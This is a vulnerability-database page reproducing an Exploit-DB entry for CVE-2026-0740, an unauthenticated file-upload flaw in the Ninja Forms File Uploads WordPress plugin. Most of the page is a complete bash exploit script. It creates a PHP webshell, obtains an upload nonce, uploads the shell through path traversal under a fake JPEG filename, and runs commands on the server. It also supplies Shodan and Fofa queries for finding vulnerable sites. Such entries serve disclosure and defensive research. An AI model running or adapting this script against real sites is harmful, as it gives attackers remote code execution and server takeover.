Lucene search
+L

Ninja Forms Uploads - Unauthenticated PHP File Upload

🗓️ 13 May 2026 00:00:00Reported by selim.lanouarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 144 Views

Exploit for Ninja Forms Uploads CVE-2026-0740 permits unauthenticated PHP file upload and remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-0740
14 Jul 202615:37
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-0740
17 Apr 202603:32
githubexploit
githubexploit
GithubExploit
Mephisto
21 May 202605:06
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-0740
11 May 202614:39
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-0740
11 Jul 202613:27
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-0740
8 Apr 202601:20
githubexploit
attackerkb
ATTACKERKB
CVE-2026-0740
7 Apr 202604:25
attackerkb
bdu_fstec
BDU FSTEC
The vulnerability of the NF_FU_AJAX_Controllers_Uploads::handleUpload function in the File Uploads extension of the Ninja Forms plugin allows a attacker to execute arbitrary code.
10 Aug 202600:00
bdu_fstec
circl
Circl
CVE-2026-0740
6 Apr 202617:19
circl
cnnvd
CNNVD
WordPress plugin Ninja Forms - File Uploads 代码问题漏洞
7 Apr 202600:00
cnnvd
Rows per page
# Exploit Title:    Ninja Forms Uploads - Unauthenticated PHP File Upload
# Date:             2026-04-09
# Exploit Author:   Sélim Lanouar (@whattheslime)
# Vendor Homepage:  https://ninjaforms.com/
# Software Link:    https://ninjaforms.com/extensions/file-uploads/
# Version:          3.3.24
# Tested on:        WordPress (6.9.3) on Apache and Nginx servers
# CVE:              CVE-2026-0740
# Fofa Query:       body="nfpluginsettings.js?ver="
# Shodan Query:     http.html:"nfpluginsettings.js?ver="
# =============================================================================

if [ "$#" -ne 1 ]; then
    echo "Usage: $0 <target_url>"
    exit 1
fi

target=$1

field_id=$(head /dev/urandom | tr -dc '1-9' | head -c 16 ; echo)
file_name=webshell.php
echo "[-] Writing webshell in /tmp/$file_name..."
echo '<?php system($_GET["cmd"]); ?>' > /tmp/$file_name

echo "[-] Fetching nonce for random field_id $field_id..."
nonce=$(curl -s -X POST "$target/wp-admin/admin-ajax.php" \
     -d "action=nf_fu_get_new_nonce&field_id=$field_id" | jq -r '.data.nonce')
echo "[+] Got nf_fu_upload nonce: $nonce"

echo "[-] Uploading webshell..."
response=$(curl -ks -X POST "$target/wp-admin/admin-ajax.php" \
     -F "action=nf_fu_upload" \
     -F "nonce=$nonce" \
     -F "form_id=$field_id" \
     -F "field_id=$field_id" \
     -F "image_jpg=../../../$file_name" \
     -F "files-$field_id=@/tmp/$file_name;filename=image.jpg;type=image/jpeg")
echo "[+] Upload response: $response"

command="curl -ks '$target/wp-content/$file_name?cmd=id'"
echo "[-] Executing the 'id' command via the uploaded webshell: $command"
result=$(eval $command)
echo "[+] Command output: $result"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 May 2026 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 3.19.8
EPSS0.57807
SSVC
144